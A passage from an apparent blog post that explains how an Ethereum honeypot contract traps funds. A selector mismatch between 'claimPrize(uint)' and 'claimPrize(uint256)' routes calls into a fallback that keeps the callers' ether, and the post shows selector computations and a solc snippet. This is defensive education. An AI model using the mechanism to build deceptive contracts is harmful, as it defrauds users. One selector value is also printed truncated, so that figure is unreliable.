context</h3><p>If you don&#39;t already know what a <em>function selector</em> is, I encourage you to <a href="https://docs.soliditylang.org/en/latest/abi-spec.html#examples">read a bit about it</a> or play a little with <a href="https://solidity-by-example.org/function-selector/">this example</a>.</p><p>Basically, every function call is actually translated to the <a href="https://www.evm.codes/#f1"><strong>CALL</strong></a> opcode with the calldata filled with: the first four bytes from applying the <strong>keccak256</strong> hashing algorithm to the function signature, plus parameters.</p><p><em>— Damn, I almost ran out of breath saying that out loud!</em></p><p><em>— </em>Yeah, but what does this has to do with anything?<br> — <em>I&#39;ll get there, just stay with me for a second.</em></p><p>If we go to the <a href="https://docs.soliditylang.org/en/v0.8.17/types.html?highlight=value%20types#integers"><strong>Integers</strong> section from Solidity&#39;s official documentation</a>, you will find a fragment that reads as follows:</p><blockquote><strong>Integers</strong></blockquote><blockquote><em>int</em> / <em>uint</em>: Signed and unsigned integers of various sizes. Keywords <em>uint8</em> to <em>uint256</em> in steps of <em>8</em> (unsigned of 8 up to 256 bits) and <em>int8</em> to <em>int256</em>. <strong><em>uint</em> and </strong><strong><em>int</em> are aliases for </strong><strong><em>uint256</em> and </strong><strong><em>int256</em>, respectively.</strong></blockquote><p><em>— Now, without looking ahead, can you now realize where the bug is?</em> 💭</p><h3>The bug</h3><p>Without running any code yet, the question you should now be asking yourself is: <br><em>Will the function selector of </em><strong><em>claimPrize(uint)</em></strong><em> equal </em><strong><em>claimPrize(uint256)</em></strong><em>? </em>💭</p><p>Well… if you know how <em>hashes</em> work then you already know the answer. <strong>NO.</strong></p><pre><strong>Function selectors</strong><br>&gt; <strong>bytes4</strong>(<strong>keccak256</strong>(“claimPrize(uint)”));<br><strong>0x5aba5e37</strong></pre><pre>&gt; <strong>bytes4</strong>(<strong>keccak256</strong>(“claimPrize(uint256)”));<br><strong>0xd709815</strong></pre><pre>&gt; <strong>abi</strong>.<strong>encodeWithSignature</strong>(“claimPrize(uint)”, 1 ether);<br><strong>0x5aba5e37</strong>0000000000000000000000000000000000000000000000000de0b6b3a7640000</pre><pre>&gt; <strong>abi</strong>.<strong>encodeWithSignature</strong>(“claimPrize(uint256)”, 1 ether);<br><strong>0xd7098154</strong>0000000000000000000000000000000000000000000000000de0b6b3a7640000</pre><p><em>— Can you imagine what happens when you execute a call on a non-existent function selector? </em>💭</p><p>— We end up in the fallback?</p><p><em>— Exactly! And what does that entails?</em></p><p>— Ohh, we get all our staked ether drawn into the contract!</p><p><em>— Exactly! It’s a honeypot 😅</em></p><h4>Bonus: under the hood</h4><p>There&#39;s a moment where the compiler (<strong>solc)</strong> upon creation of the <strong>AST</strong> uses <a href="https://github.com/ethereum/solidity/blob/develop/libsolidity/ast/TypeProvider.cpp#L234"><strong>TypeProvider</strong></a> which decides that the recognized <a href="https://github.com/ethereum/solidity/blob/77c40cd2afbd80942e62e6d56cdb45c7ef3fbf2c/liblangutil/Token.h#L211">token</a> K(UInt, &quot;uint&quot;, 0) should be <strong>256 bits</strong> <strong>unsigned</strong> <strong>integer</strong>.</p><pre><strong>case</strong> Token::UInt:<br>    <strong>return</strong> <strong>integer</strong>(256, IntegerType::Modifier::Unsigned);</pre><p>And there you go, that&#39;s where the alias came from in the code.</p><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc1ea7f6afce" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>